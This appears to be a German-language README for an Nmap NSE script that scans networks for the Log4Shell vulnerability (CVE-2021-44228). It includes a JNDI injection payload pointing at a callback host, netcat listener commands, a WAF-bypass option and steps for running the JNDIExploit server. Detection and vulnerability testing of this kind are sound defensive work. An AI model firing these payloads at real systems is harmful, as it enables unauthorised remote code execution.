
Nmap Log4Shell NSE-Skript zur Erkennung von Apache Log4j RCE (CVE-2021-44228)
nmap-log4shell ist ein NSE-Skript zur Erkennung der Apache Log4j RCE (CVE-2021-44228)-Schwachstelle im Netzwerk. Das Skript kann die log4shell-Exploit-Payload über HTTP-Header (Standard) oder über TCP/UDP-Socket injizieren.
CVE-2021-44228 ist eine Remote-Code-Ausführungs-Schwachstelle in Apache Log4j 2. Ein nicht authentifizierter, entfernter Angreifer könnte diese Schwachstelle ausnutzen, indem er eine speziell gestaltete Anfrage an einen Server sendet, der eine verwundbare Version von log4j ausführt. Die gestaltete Anfrage verwendet eine Java Naming and Directory Interface (JNDI)-Injektion über eine Vielzahl von Diensten, darunter:
Wenn der verwundbare Server log4j verwendet, um Anfragen zu protokollieren, wird der Exploit dann über einen der oben genannten Dienste von einem vom Angreifer kontrollierten Server eine schädliche Payload über JNDI anfordern. Eine erfolgreiche Ausnutzung kann zu RCE führen.
Finden Sie heraus, wo sich Ihre nmap-Skripte auf Ihrem System befinden:
~/.nmap/scripts/ oder $NMAPDIR/usr/local/Cellar/nmap/<version>/share/nmap/scripts/C:\Program Files (x86)\Nmap\scriptsKopieren Sie das bereitgestellte Skript (log4shell.nse) in dieses Verzeichnis und führen Sie nmap --script-updatedb aus, um die nmap-Skriptdatenbank zu aktualisieren.
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: Der Callback-Server (z.B. 172.17.42.1:1389)log4shell.http-headers: Durch Komma getrennte Liste der HTTP-Header (z.B. X-Api-Version,User-Agent,Referer)log4shell.http-method: HTTP-Methode (Standard: GET)log4shell.url-path: URL-Pfad (Standard: /)log4shell.waf-bypass: WAF-Bypass-Payloads verwenden (Standard: false)log4shell.test-method: Test durch http (Standard), tcp, udp oder Das Skript ist auf Callbacks vom gescannten Ziel angewiesen, daher beeinflussen Firewall-Regeln oder Interaktionen mit anderen Sicherheitsgeräten die Wirksamkeit des Skripts.
Hören Sie einen TCP-Port mit netcat (oder ncat) ab:
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
Führen Sie Nmap mit dem --script log4shell.nse-Skript aus
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Sehen Sie die Ziel-IP-Adresse in der netcat (oder ncat)-Ausgabe:
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
Laden Sie JNDIExploit von GitHub herunter (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
Starten Sie den JNDIExploit-Server:
java -jar JNDIExploit.jar
Führen Sie Nmap mit dem --script log4shell.nse-Skript aus
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Sehen Sie die JNDIExploit-Ausgabe, um die empfangene LDAP-Abfrage zu sehen
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
Dieses Projekt dient ausschließlich Bildungs- und ethischen Testzwecken. Die Verwendung von nmap-log4shell zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.
Das Projekt ist unter der MIT-Lizenz lizenziert.
all